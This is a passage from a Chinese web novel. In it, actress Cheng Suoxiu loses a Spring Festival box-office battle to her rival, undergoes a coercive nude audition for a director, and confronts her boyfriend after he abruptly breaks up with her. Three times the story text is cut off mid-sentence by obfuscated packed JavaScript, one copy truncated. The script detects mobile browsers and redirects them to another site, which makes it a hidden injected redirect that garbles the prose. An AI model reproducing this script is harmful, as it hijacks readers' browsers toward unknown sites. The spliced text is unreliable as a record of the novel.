《破剑华》后期也在紧张地制备中,感觉春节档是眨眼间就要来的事,程锁锈和陆巡每天都把心思挂上面,谁也没提之前去冰岛旅行的约定,这也算是种心照不宣吧。 想象与现实还是有差距。 只是安思畅可能在《红潮》组里待得太闷——虽说计算时间她也快结束拍摄了,但她开始高频率地给陆巡发短信。 陆巡早把她拉黑,但那些短信还是能在被拦截中看到,程锁锈偶尔看一眼,声情并茂地朗读。 她最新一条是:【宝宝,有时间就来组里看看我吧,拍戏好累,我已经连续三天没睡觉超过五小时了!你再不来我这电影都要拍完了!】 “我看她真要急死了。” 程锁锈拿出自己手机,将这条短信拍个照片,发给安思畅:【要不我过去看看你?】 30. 战争 【嗯?你要来?】 安思畅没有丝毫被戳破的羞耻,给程锁锈发消息:【那你别急,等我挑个合适的时间,邀请你来。】 程锁锈将内容给陆巡看:“她是不是人格分裂?” * 十二月中旬,程锁锈收到安思畅邀请,她发来她所在的影视城位置:【来吧宝宝,这几天我都在这儿。】 程锁锈发个“ok”的手势表情。 【你老公就不想来看我?】 【他不想。】 【Pity……】 程锁锈于是和刘榴一起乘航班前往。 而后她明白了安思畅挑这几天让她探班的原因。 ——想炫耀。 彼时《红潮》正拍到近结尾的高潮部分,要展现宏伟磅礴的战争场面,他们请到千余名群演,包含八百多名退伍士兵与二百多名特技演员…… 安思畅将程锁锈带到监视器前,滔滔不绝地向她介绍,看千人在她叔父——曾潮的指挥调度下行动得井然有序。几架无人机在空中时而疾飞,时而悬停,监视器中呈现的画面确实是顶级。 “怎么样?看到差距了吗?”安思畅带程锁锈去吃饭,笑眯眯说,“这些年来,国内诸多大型活动都由我叔父导演,拍摄这样的大场面信手拈来,而魏某嘛……” 她顿了一下,口气狂到不行:“我不是去你们片场看过吗?我发现他脑袋里还是那些二十年前的东西,早out了。” “倒是把你拍得很漂亮哦。” 程锁锈轻笑一声。 她尚能维持表面的平静,刘榴则不行,脸上难□□露出担忧。 因为确实认识到彼此的差距。 可他们这边明明也不差,也尽了全力,但那些曲折回肠的恩怨纠葛,那些唯美浪漫的画面,在这直冲冲震撼人心的家国情怀与战争场面下,都显得有些飘渺苍白。 《破剑华》单拎出来绝对是一部艺术造诣不俗的影片,恰如魏仕明之前影史留名的作品,可真要在明年春节档和《红潮》对打,却让人没信心。 “你现在明白了吧?”安思畅送程锁锈离开时说,“我确实觉得你和陆巡挺厉害,但也只是认为你们有能力、能做出些让我意想不到的事、有资格和我竞争而已,所以我挺尊重你们、把你们当回事,不会真觉得我从你们身上感受到威胁了?” 程锁锈挥手笑笑:“来日方长。” * 这个春节注定无法回南城过。 《破剑华》与《红潮》的海报相继出炉,占据全国各影院,仿佛一场无硝烟战争前的旗帜。 而自春节档电影阵容公布后,这两部电影便成为票房前二位的种子选手。 《破剑华》海报以玫红与宝蓝二色为主,中心是程锁锈。 她身着华袍,手中宝剑半出鞘,遮挡住半张脸,充满杀意的眼睛中野心勃勃。右侧是何崇尔所饰的渡王,左侧是迟景蓝所饰的薛由锦。 整个画面设计繁复,体现出江湖恩怨与宫廷权谋相结合的史诗感。 《红潮》海报则以红黑二色为主,很明显的主旋律战争片风格。 而曾潮要以这部电影捧安思畅的意图非常明显,她所饰的女主在这部电影内容中占比很大,海报上也是C位。 大年初一,两部电影同时上线。 Hugo回港城了,刘榴也回了老家,一切工作暂停,程锁锈和陆巡宅在别墅中过年。 这是一段程锁锈曾梦寐以求、担心以后不会再有、难得和陆巡单独相处的与世隔绝的温情时光,她却感受不到任何惬意与安宁。 因为她不停在各平台上刷《破剑华》与《红潮》的动态与评论,看实时票房。 初一第一天,《破剑华》票房1.98亿,《红潮》票房2.82亿。 之后《破剑华》的单日票房有所提升,《红潮》的单日票房有所下降,《破剑华》偶有两天的单日票房超过《红潮》,因为网上传出《红潮》票房造假的传言,有人截图《红潮》凌晨存在100%上座率的场次,并且出现一些对主旋律电影腻味的情绪。 对《破剑华》的评价也是两极分化—— 【看完《破剑华》走出IMAX厅,我一直在发呆。不仅因为剧情,还因为它的每一幕都实在太“珍贵”了。不知道多年以后,这些让人记忆深刻的镜头会不会成为像《万花错》中高曼打戏一样的经典。珍惜现在的大荧幕吧,准备三刷!】 【剧情俗到极致……不愧是魏导闭关多年后的作品,感觉已经和时代脱节了。】 【像是超浓缩、超高配、超燃烧经费、超故弄玄虚版的古装狗血剧,硬套上大女主外壳,实际是被资本挟裹着捧新人。虽然新人确实好看,但没意思,建议新人借此成名后拍点有营养的东西,别硬折腾大导演了,弄得人家非得搬出个剧本来挨口水。】 【早就料到《破剑华》会饱受争议,魏导的作品向来如此,但最后不都是影史上璀璨的明珠吗?】 …… 对《红潮》的评价则要么是感人,要么吐槽这样题材的电影千篇一律,一波看完一波又起。 《破剑华》与《红潮》、魏仕明与曾潮、程锁锈与安思畅……春节档的每一天网上都战火纷飞,好不热闹。 各夸各,各骂各,程锁锈与安思畅截图网上抨击对方的言论发给对方,但数据不会撒谎。 春节档后,《红潮》展现出很强的长尾效应,据说挺多单位去包场,票房基本稳定在25亿,极缓慢地向上增长着零头,《破剑华》票房则基本定格在18亿。 程锁锈单方面结束了和安思畅的截图大战。 怅然若失。 北城大雪,一片白皑,她和陆巡只能继续在别墅中宅居。 他带她在吧台品酒,在室内泳池游泳,在落地窗前赏雪,在健身房锻炼,在室内球场打球……可她的心始终是沉郁的。 如果他不带她做这种事,她只想在床上懒。 昔日好友如赖圣怡、扈嘉怡,甚至一些不太熟的人纷纷在微信上给她发消息,拍摄海报或电影画面给她,把她夸到天花乱坠,说她那样一张脸在大屏幕上简直迷死人……祝贺她刚进圈就有如此成功的作品,以后一定会声名大噪。 可程锁锈却知道自己输了。 输给了安思畅。 陆巡当然清楚她心思,但没有戳破,因为这样的情绪需要她自己消化。 他们再物色新的作品,能取得什么样的成绩,甚至能不能帮她拿下业内公认含金量最高的金鸡奖最佳女主角,荣封影后,如果能的话这个过程又要消耗多长时间,都未可知。 但有了第一部真正意义的作品,程锁锈终于能托人帮扈嘉怡要她偶像——陈崇明的to签 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823626|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 虽然素无交集,但陈崇明直接给扈嘉怡写了封手写信,可见现下圈内对程锁锈的认可。 感动得扈嘉怡泪眼汪汪,在网上与安思畅粉丝大战五百回合的动力又拉满了。 * 北城电影学院开学,程锁锈头发长到齐肩。 于是她习惯穿黑色衣服,这样配上发型显得挺御姐。 这下再回到学校真成风云人物了。可校内舆论来不及复盘春节档那场轰轰烈烈的对决,新的消息立刻蔓延全校——曾潮的新作品《哑火》也要在校内公开海选女主演。 不如狄伦那么有腔调,曾潮挺诚恳,不仅在校内的各宣传栏上张贴海报,还通过学校各公众号发布内容。 程锁锈看了看电影介绍。 属于曾潮的舒适区,内容围绕革命烈火中一位年轻女性展开,融合情.欲与战争、集体主义与个人悲剧、美与暴力。 故事发生在1941年,日占时期的一座江南小镇,女主角名为“秦淮”,是一名24岁的哑巴寡妇,丈夫早年战亡,村民却说她丈夫是被她克死的。总之因为她格格不入的过分的美丽,她一直遭受着周围人的嫌恶与排挤,背负流言蜚语。 遗世独立的美貌在错误的时间与空间里就是罪恶,之后她被日军中佐强占,但她与其曲意逢迎,窃取情报——其实她一直都在暗中向亡夫的战友送交密信。 后面的内容不便透露,总之女主在与日军产生瓜葛后受尽诽谤与侮辱,最后献身革命,自焚于火海,死后才被正名,但也因为偏见被淹没在历史的尘埃中了。 校内人看后都笑了:“安思畅能演这个?” “如果和上次狄导一样,是拿海选当作秀,内定了自己侄女的话,还是别折腾大家了。” “或许正是因为清楚自己侄女hold不住,才决定要海选的吧。” “那也可以直接找别人啊,为什么要海选?这可是曾潮欸!最近这些大导演真奇怪。” “可能也是受狄导启发。” “看不透,看不透。” “我倒是觉得这个角色很符合校内某位……” …… 程锁锈也觉得,这角色仿佛是为她量身定做。 在宿舍里,她和安思畅背对背坐,各自忙各自的事,她突然发问:“你叔父这是葫芦里卖的什么药?” 安思畅装傻:“就是选女主角啊!你也看得出来,我很不适合这角色。” 程锁锈又问Hugo,问陆巡。 这显然是一部极其适合她的影片,因为导演是曾潮、女主戏份很重,可能会帮她触及到许多奖项,可也正因为导演是曾潮,让她想要参加海选的心感到很微妙。 但她还是递交了简历。 最后一次考核在曾潮家里。 他命人开游艇,驶到巨大的人工湖中,舱内有摄像头、灯光,曾潮本人、程锁锈、另外两名入选的女生与安思畅。 安思畅抱着手臂,在一旁作津津有味的看戏状。 曾潮说:“好了,都把衣服脱了吧。” 另外两名女生面面相觑。 曾潮说:“我现在要求你们展现这部影片中最关键的部分——秦淮在遭受凌.辱后心态的彻底转变,多余的我不说了,我已经提供最私密的环境任你们发挥,你们就根据你们各人的理解来吧,穿内衣。” 31. 荒谬 程锁锈最先照做。 只是时下温度不高,衣服一件一件地脱起来很麻烦。其他两名女生没经历过这种场面,曾潮的语气里不无嘲讽:“届时正式拍摄这一段时是要全.裸的,也少不了必要的工作人员在场。” 言外之意:如果连现在这样的情况都接受不了,趁早退出吧。 安思畅看程锁锈脱得差不多了,戏谑说:“看看,有些人之所以成功是有原因的,当初参选狄导的女主角时头发说剪就剪,我都吓坏了,要不是后来选择主动退出,现在在拍《我在看你》的还真不一定是谁。” 另外两名女生再次相互看一眼,也开始脱。 安思畅嘴还不闲着,看程锁锈一副好身材暴露在明晃晃灯光下、出现在摄像机画面中:“而且某人对于这种镜头肯定特别有经验吧,毕竟当初在《霓虹遗书》里的表现我可是记忆犹新呢。” 程锁锈对她笑:“那我谢谢你对我业务能力的认可。” 继而看向摄像机后的曾潮:“曾导,对于这段情节我有些自己的理解,不知道能不能实践一下?” “说说看。” “我想让镜头环绕我转两圈。” “可以。” “那就准备开始了?” 程锁锈揉乱头发,搓花脸上本就有些寡淡的妆容,想了想,又拿过自己刚脱下的外套:“可以了。” 拍摄开始,曾潮亲自掌机,围绕她转了两圈。 她没有多余动作,只有面部表情的变化,模拟在被最痛恨者玷污后的状态。 她用外套捂住前胸,模拟被子,同时掩盖住身穿现代内衣的出戏感。 第一个正脸镜头,她脸上是不可置信、迷茫、绝望和万念俱灰,身体自然而不夸张地颤抖;在摄像机第二圈转过来时,本就细微的颤抖幅度减小,她眼神中内容变为痛恨和一份要继续沿这条黑暗道路走下去的决然和恐惧,仿佛从一摊灰烬中燃起的暗火。 “很好。” 曾潮结束了摄像:“下一位。” 连安思畅都不说话了。 有了程锁锈打样,其他两名女生分别试镜,只是对比程锁锈的创意都有些逊色。曾潮让她们回去等结果。 相伴着离开曾潮位于郊外的住处,已经是晚上九点多,天奇黑,因为城市污染而看不到任何一颗星星。 两名女生看程锁锈的眼神都带上崇拜,临分别才说:“提前恭喜你啊,程老师,曾导这部电影的女主角百分之九十九是你了!” 她们年级都比程锁锈高,但因为程锁锈在圈内名气更盛而客气地称她为“程老师”。 “没有,还不一定。” “别谦虚了,春节我刷了《破剑华》两次,今天现场领略到程老师的表现力,感觉真学到了东西,就算没被选上也无憾了。” 她们说话太客气了,程锁锈笑笑。 走到自己的玛莎拉蒂边,因为车只能载一人而有些为难,程锁锈干脆直接说明原因:“那就不送你们回市区了。” “没关系没关系,正好我们两个搭伴,打车回学校就行。” “好。” 三人挥手作别,程锁锈想了想,今晚干脆不回学校了,去别墅住。 只是她临时做决定,没提前和陆巡打招呼。 进别墅后,陆巡不在。 她一路没看手机,这才解锁看消息。 置顶消息条里,最新的内容是三个字:【分手吧。】 右上角红点中的数字却是个“2”。 先是心跳停滞一拍,她点开对话框一看究竟,原来【分手吧】之前的消息是一张图片。 黑暗中强烈的灯光打亮她,把她整个人照得花白,而她掩在胸前的衣服让她仿佛□□,她整个人暴露在摄像机前,原来是她不过一小时前参加考核的情景。 谁发给陆巡的再明显不过。 但她知道陆巡做出这决定不会有旁人挑拨离间的成分在,而单纯是就事论事,可就算是单纯地就事论事…… 她在空荡荡的别墅中自嘲一笑,回:【你不会不清楚我在干什么吧?】 【我没做错任何事,我问心无愧,我也不想对你这突然的决定做什么反馈。】 她干等了五分钟,陆巡一直没有回。 她这一刻感觉特别荒谬,特别特别荒谬。 她原地转了一圈,环视这熟悉的环境。 装潢华丽、精致又考究,全部出自陆巡的手笔,意味这是他所构建出的属于他们的未来,某几处甚至还留有他生活的痕迹。 她又解锁手机,重新审视那张自己极度暴露、让人浮想联翩的照片。 真的至于让一个爱她的人信念崩塌,失望到甘愿放弃一切么? 她想不明白。 也觉得陆巡不是这样的人。 又或许是她太大度了?她凭什么替陆巡做考量。 所以她到一楼,打开冰箱,里面依然躺着几罐啤酒,这还要追溯到春节期间,她因为票房的事而惶惶不可终日,晚上睡不好,需要这东西来助眠。 她从中拿出两听,在手里掂了掂,直接起开拉环,完任务似地仰头咕嘟咕嘟往下灌。 大事从缓,她要先睡个好觉。 * 第二天醒来,头脑算清醒,可昨晚的事在下一秒进入脑海,像梦一场。 程锁锈摸过手机,没有消息。 还以为记忆里的分手是假的,说不定是因为啤酒喝太多,虽然这两件事的发生顺序完全颠倒,但打开微信,和陆巡消息条的最后一句话还是她发的:【我没做错任何事,我问心无愧……】 点开对话框,他也确实发了那张图片和说过分手。 也就是说,对于她的反应他再无回复。 牛。 程锁锈彻底明白了,分手的事确实发生了。 她从冰箱里翻出些东西,吃过早餐,学校上午三四节有课,但市中心太堵,她到校后一路小跑,还是迟到了几分钟,于是悄咪咪地从后门溜进,坐最后一排,却越听越走神。 往两侧看看,没其他人,她动作缓慢,没发出一点响动,从挎包的最隐秘夹层中摸出张纸,其因为被放得太久而满布细小褶皱,因为被摸的次数太多而发软,是当初陆巡写给她的信。 她徐徐展开,放桌子上,眯起眼看。 【锈锈:见字如晤。】 面对这真实的字迹,确实像和写信时的他见了一面。 但也只是写信时的他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847462|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 如今的他让人看不透。 将信中内容默读了好几遍,程锁锈想,当时的陆巡是真真切切地想念着自己的吧? 其实他们在一起时间不算长,最快乐充实的回忆掐指一算也不过最初那半年。之后他出事,分手半年,她家破产,她必须有一番事业,他便倾尽全力地托举她,又这么忙忙碌碌地过了一年多。 而复盘这一年多,他们的接触时间支离破碎。 极远处,讲师的声音发出,在阔大的教室中带点回音,回荡。 程锁锈塌着背,借前面的人作遮挡,一手支着脑袋,继续神游。 她回想春节那段时间,她确实该把精力更放在陆巡身上一些,珍惜和享受那段难得的二人时光,可怎么办?他们争取努力了那么久的《破剑华》在和安思畅的《红潮》对打,票房每一分每一秒刷新,每个平台上每一分每一秒都会蹦出关乎这场对决的评论……她怎能不焦虑? 哪怕知道他一直在安排各种事,缓解她情绪,她也无暇顾及。 可既然已经决定走这条路,既然他们都已经付出了这么多,不就应该拼尽全力地走到最高峰吗? 她不是早料到会发生眼下的这种状况吗? 并且很担忧,甚至为此而想过退缩,并把这份心绪分享给陆巡,可他们还是做出决定,就这么走,一起走,不是吗? 结果呢? 那照片算是压倒骆驼的最后一根稻草? 下课铃响了,程锁锈嗤笑一声,叠回信纸,收进包里。 暂时没有取消陆巡在她消息列表中的置顶位置。 点开他头像,看他朋友圈还开放,意味着他没有将她删除或拉黑。虽然对这突然的分手仍感到不解,程锁锈想,先这样吧,不能耽误了正事。 * 没几天,程锁锈收到通知:她被选为《哑火》的女主演。 校内人对这件事的评价就四个字:不出所料。 不管怎么说,《哑火》将于三月份开机,迫在眉睫,程锁锈再在学校待几天就要和刘榴去江城古镇拍摄。 安思畅这段时间也不怎么在宿舍待了。 偶尔在宿舍见她几次,是她上下午都有课,中午在这里休息,或者下午下课后回来化妆。 安思畅肯定知道她和陆巡分手的事,可很奇怪,她一反常态,不仅没有一张小嘴闲不住地叭叭地挖苦她,甚至一句话都不和她说了,一个眼神也不给她。 每次化完妆都喷出过量的香水,而后关门走人,留那刺鼻的气味散漫在空气中,给程锁锈闻,仿佛一种挑衅,而程锁锈不得不厌恶地去开阳台门通风。 程锁锈忽然冒出个想法,安思畅每次这样盛装打扮会不会是去见陆巡。 结合自己刚被选上《哑火》女主角的消息,难道是安思畅又给陆巡开条件,要他暂时和自己分手,她才肯让她叔父选自己做女主角? 再结合之前的腰带事件,这一假设不是没有可能,也真是安思畅能做出来的,可真是这样的吗? 不是她程锁锈在自作多情吗? 脑袋里一团浆糊,这想法让她按捺下继续给陆巡发消息的冲动。她得找机会和他见上一面,虽然不知道他现在在哪儿,真还在北城么? 32. 空降 * 《哑火》开机,程锁锈进组,一时间网上又炸开了花—— 【程锁锈将出演曾潮的新电影?女主角??而且已经进组了???】 【信XXX和XXX复婚我都不信这个。】 【但你一说XXX和XXX复婚我又觉得这事不算太离谱,毕竟圈钱嘛,只有永远的利益,没有永远的敌人。】 【那也麻烦隔出些时间吧……真当互联网没有记忆吗?春节档刚撕完,转头就合作,程锁锈粉丝帮正主骂了那么久不会心寒吗?真心疼他们。】 程锁锈一位大粉回应:【谢谢关心哦,我们都很尊重程锁锈本人的决定,从不搞对立,期待锈锈和曾导的合作,一直用好作品说话~】 【呵呵,现在知道装了,不知道春节档是哪些人像疯狗一样到处乱咬。】 【纯路人,都有点想粉这位了,迄今为止发生在这位身上的事真的都好抓马……而且据目前观察,这位挺有事业心的,没什么黑料吧?演技也可,不算花瓶。】 【欢迎加入!入股不亏!】 …… 江城古镇,梅雨时节,阴雨绵绵不绝。 曾潮除了在工作中要求严苛外,没什么区别对待程锁锈的地方。 三月下旬,眼看就要到陆巡和自己的生日,他们两人的生日之间隔了一天,程锁锈向曾潮请三天假,将自己那三天的通告往前调,并立下flag:自己在杀青之前不会再请假。 曾潮一向公事公办,看她之前拍戏都挺尽力,演起被村民欺辱的戏来毫不含糊,被烂菜叶和生鸡蛋砸都是挨真格,雨也是说淋就淋的。 这里天气湿热难耐,大大小小、长长短短的雨反复无常,组里不少人适应不了气候,也架不住他的高强度拍摄,来来回回感冒,但程锁锈身子骨就跟铁打的一样,从没出过岔。 于是批准。 程锁锈没要刘榴陪,单独一人乘飞机去南城。 陆巡那架私人飞机继续给她用。 终于摆脱阴雨连绵的天气,她降落南城,从未觉得空气如此清新可爱过。回到这片故土却无处可落脚,只得入住一家酒店。 她是从扈嘉怡那儿打听到的一切。 扈嘉怡不知道陆巡什么时候回的南城,但他仍邀请他们这些朋友一起参加他生日聚会,于是扈嘉怡告诉了程锁锈陆巡要包场的酒吧——HiDay。 熟悉的地方。 曾经在那里发生的事犹在昨日,那时候他们还在上高三呢。可真要细想起来,恍如隔世。 在酒店睡了个午觉,程锁锈化上淡妆,穿了身轻薄的西装式休闲服,又戴上夸张的口罩及墨镜,将头发在颈后一绾,确保没人能认出她。只是有点特立独行了,她这身行头像位特工。 在酒店的地下停车场坐上车,顺便取了订好的花,她在HiDay门口被拦住。 “不好意思,今天被包场了。” 她看出来了,对方是陆巡的保镖,而不是酒吧的保安,不知道这事是更好办还是更难办。 此时八点半,陆巡的生日聚会已经开始半小时,这门口没旁人,她摘了墨镜和口罩:“是我。” 对方眼神疑惑。 她揣摩面前人表情的含义。 他之前在北城跟过陆巡么?知不知道自己和陆巡的关系?或者他知道自己已经和陆巡分手了? 她决定赌一把:“我一直在江城拍戏,和他说我来不了,这不是想给个惊喜吗?” 但对方到底是陆巡的人,还是叫来了陆巡的助理,其与程锁锈在夜色与霓虹中对视,十分为难。 程锁锈觉得这比她拍摄的很多电影桥段都更牵动她心弦。 面前人还是说:“我带你进去吧。” 两人穿过幽暗的走廊,里面欢脱的音乐渐近,人好像不多。 当陆巡的助理带程锁锈出现在大厅那一圈人面前时,大家都愣了愣。 但毕竟是曾经在南城一起玩的人,都是人品够格、有情有义的真朋友,程锁锈明白他们那惊讶的眼神里没有恶意,只是她的出现超出了他们所料。 扈嘉怡最先跑过来将她一把抱住:“大明星!你怎么突然空降了!啊啊啊啊啊——” “大明星”三个字喊得格外嘹亮。 程锁锈余光看见陆巡,也看见了在场的安思畅。 原来扈嘉怡是喊给她听的。 程锁锈又注意到安思畅并不受在场这些人待见。虽然围绕同一张桌子坐,但她在沙发最边缘,和他们之间都隔出点距离。犹记去年这个时候,在北城,安思畅及她的人还和这里的部分人剑拔弩张着,真是物是人非,时移世易。 有扈嘉怡带头,又见陆巡没表态,其他人纷纷热情地和程锁锈打招呼,让她入座,陆巡的助理见状便离开了。 程锁锈放下花:“玩游戏呢?” “可不是么,还能干什么?”这里就属赖圣怡最敢说,她起身拉住程锁锈手臂,让她坐到自己和扈嘉怡之间,“没有你总觉得缺了点什么,还多了点什么。” 另一边的安思畅别过头,冷笑一声。 程锁锈看她一眼,她倒比之前安静得多,不再那么咄咄逼人了,也可能是这里没人给她撑腰的缘故。 之前她在北城疯狂粘陆巡,程锁锈理解,可现在追到南城来是图什么?纯自我折磨吗? 连自己这位“前任”在这儿都比她自在。 当然她此番来也不是为了和安思畅争风吃醋,她压根不知道她在这儿,她只想找机会和陆巡好好谈谈,就算分手也分个明白。结果撞上这么多朋友,借机玩一玩也挺好。自她入圈以来、自这些人出国留学以来,他们这一伙人就聚少离多了。 “锈锈,何崇尔私下里是什么样的人?高不高冷?” “当大明星了是什么感觉?” “天啊,你和我们玩的时间越来越少,等一会儿再给我们每人签一次名好么?” 众人迸发出肆无忌惮的的笑声,“所以你的重点其实是后半句,对吧?不过,咦,我也想要。如今锈锈名气可不一般,国外都有对电影的讨论。” “哎,如果没记错的话,今天应该是陆少的生日吧……” 大家在玩笑中愈加放肆,一开始是故意气安思畅,又扯到陆巡身上。 一道道目光落过去,他只是轻轻一笑。 程锁锈与他和与安思畅都有些距离,DJ在台上将一首首kpop歌曲变奏自如,他们正常地玩着游戏,吃着东西,喝着酒,陆巡终于要去接个电话,看一眼远处助理,其立刻会意,上前来推着他轮椅离开。 终于等到机会,程锁锈起身:“那我去趟洗手间。” 所有人都懂。 安思畅只是看她一眼,眼里意味不明。 程锁锈沿走廊走,一个个包间的房门紧闭。她看到陆巡的助理,一指其所面对的那间。 助理有些犹豫,程锁锈笑一下,直接将耳朵贴到门板上去听,果然能捕捉到另一侧十分细微的陆巡说话的声音——就是这间了。 陆巡助理的手机一响,程锁锈推门而入。 两个彼此最熟悉的人在这没开灯的房间内相对。 外面尚有些斑斓的灯光,而这里面伸手不见五指,还没通风,略闷。 程锁锈一时看不清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853460|173790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆巡的脸,只能在视线中勾勒出他整个人大致的轮廓。 空气中隐隐有熟悉的他身上的古龙水味道,她说:“怎么,当初说得那么好听,表示什么困难都不怕,一心要支持我走这条路,现在却突然接受不了了?我那是在工作。” 人影慢慢变清晰,坐在轮椅上的陆巡没有表情:“我不想和你吵架。” “哦……” 听到这熟悉的声音,程锁锈心脏受到些震动,温室里的奶油一样一塌糊涂地化开。 她走近了,缓缓地在他身前蹲下,双手握住他轮椅两侧的扶手,仰头看他:“其实我看到安思畅在这里时我就明白,是她让你这么做的,对不对?” “要不然你真和我分手了为什么还要和她待在一起?这是她的条件,这样她叔父才会选我做女主角,对不对?” 陆巡不语,她继续:“我知道她肯定又不让你和我解释,但是这里没别人,我演技也很好,你偷偷告诉我,我假装什么都不知道,失魂落魄地回江城去拍戏。” 还是没有答复。 陆巡只是没什么表情地俯视她,神情倦倦的。 低气压里,程锁锈眼里自认为能看透他、一切尽在掌握之中的自信慢慢被撕碎,变有点迷茫,歪了歪脑袋,在他面前又慢慢柔软成一只小猫。 如此切换自如,任何样子,硬的、软的,又都在无形中对他产生引诱,陆巡觉得眼前这个女人真是可怕。 但他声音还是低低的:“既然都这么聪明了,还来问我干什么?” 程锁锈立刻开心了:“想你了呗。” 她拉拉他手,“你不高兴的原因是什么?安思畅很烦人?” “放心,我会装作不知道,虽然我还很想和你……” 她将他的手放到自己脸上,他手掌触感微微粗粝,她脸颊紧致又柔软,“但是算了。” “不耽误太长时间,我先出去了。” “我好像没有给过你答案吧?” 陆巡的声音让程锁锈停住脚步,他问:“为什么分手对你来说总这么轻松?” “前年在港城,我妈做得确实不对,但我宁愿你直接和我生气甩脸色,我想办法给你讨回这口气;哪怕你走了、不理我,我再哄你也行,怎么就那么轻易地说分开了?” “我不回应也没有关系,那半年你仍然过得很潇洒,要不是你家破产,我真不太清楚我们到底还能不能再在一起。” 程锁锈慢慢转回身:“为什么又说起这么之前的事?” 她早默认翻篇。 陆巡不语,她想了想:“因为那时候年龄小——虽然现在也没大到哪儿去,所以心高气傲,觉得不管失去什么,想要的时候都能再回来,时间大把大把的,根本不觉得浪费。” “那我错了,行不行?” ——转眼间,时间就变成特别宝贵的东西,让人在奔忙中根本抓不住。 心里也沉甸甸的,装满了事,给对方的空间越来越少。 当然,是她给陆巡的空间越来越少,绝非他给她的。 她声音特别轻,在这屋里像一片看不见的羽毛,飘落,再飘落。 她觉得自己够诚恳了,忽然也很无能为力,张张嘴,总想说什么,又不知该怎么说。 “那这次呢?”他问,“你是从什么时候开始,认为我和你分手是因为安思畅的?” “你问心无愧,你做得没错,但从始至终没有换位思考过,不在意我的感受,没一句挽留的话。一个月时间又过去了,我们的事也可以这么白白地晾着。” “就没有想过,有没有那么一丝可能,我和你说的是真的呢?” 33. 痛苦 “是么?” 所以这不是亲自来和你见上一面,网上能说得清楚么? 程锁锈这么想,却没有说。 因为陆巡在意的似乎不是这件具体的事,而是她一直以来的态度。于是她又反思自己为什么会如此坦然,想到一句话:被偏爱的都有恃无恐。 她思索时眼神偏着,没聚焦任何事物,想出这结果后则很认真地看向陆巡:“因为你之前说的话我都信,所以我从来不觉得你真会离开我。” 这次陆巡的沉默像被动的。 ——被她这番话硬控住。 “行吧。”他接受了这个答案一般,模棱两可地说,又将话题转到别处,“你真这么喜欢《哑火》?” “不喜欢。”程锁锈毫不犹豫,并且她知道陆巡也不喜欢。 当初《哑火》海选女主角,她询问陆巡和Hugo的意见,陆巡没表态,交给Hugo来定夺,Hugo则完全是出于对程锁锈发展的利弊来考量的,当然是利大于弊。 这不是个人喜好的问题,从这部电影的题材、导演、预估票房与话题度来看,程锁锈都应该去尽力争取。 虽然其中的部分情节对她个人来讲很不适。 同样涉及情.色,却不如《霓虹遗书》中那样直白,倒还让人觉得艺术成分高些。 而曾潮的选角方式也让陆巡很不快。 “但它获奖的可能性很高。”程锁锈说,“由曾潮来导,又是他所擅长的领域,不管怎么说票房就有了保证。谁知道以后还能再遇上什么样的作品?挑不出的话,有很长一段空窗期也说不定。而我事业心重,好胜心强,所以我肯定要抓住每一个能积累成绩的机会,但是吧……” “每个行业有每个行业的规则,虽然有些规则可能让人挺不舒服的。” 她看着陆巡,很无奈。 完全适应了黑暗后,眼前的一切都非常清晰。 她慢慢道:“关于你发给我的那张照片,单看确实挺让人难以接受,但如果你信我的话,我觉得现场情况要比照片里看上去的好点儿。至少大家都算是在公事公办,除了在一旁看戏的、偷拍的、发给你的那位。” “不过我怀疑他们叔侄俩可能是串通好的,毕竟曾潮那老头子或许只有在拍电影时才正经。” “嗯……” “我该说的都说了。” 程锁锈向上望,想了想:“我知道你不会离开我,你和我分手就是因为安思畅,不然她不会在这里。” 陆巡轻笑一声:“是吗?” “我们都已经紧紧地捆绑在一起了,而且你不喜欢我的话还能去喜欢谁?” “你为我做的每一件事,我都记得,真的,抛开其他感情不谈,我最感谢的人也是你,所以我觉得我应该拼尽全力去做出成绩,这也才对得起你。”程锁锈觉得她真该离开这房间了,她消失的时间已太久,“那就先这样吧,你也一直在围着我转,要是累了就休息一段时间,这条路我暂时可以自己走。” “但不管怎么说,你都是对我来说最重要的人,我也知道你不会离开我。” 她的意思已经很明显,就差说破——既然这是安思畅开的条件,他也已经这么选择,那他们就各自安好,等《哑火》拍完。 至于他“夹带私货”,对她的那些不满,她也都诚恳解释过。 “我先回去了,你晚点再回去。” 程锁锈手都要触上门把手,陆巡声音又在她身后响起:“最重要的人?” 她动作停住。 “你和我说的这些话还是这么自以为是,我看不出来。” 程锁锈回头,看了看他。 还是出去了。 两人相继回到桌边,前后隔了十分钟左右。 其他人都老演员了——虽然不是专业意义上的,该怎么玩继续怎么玩。 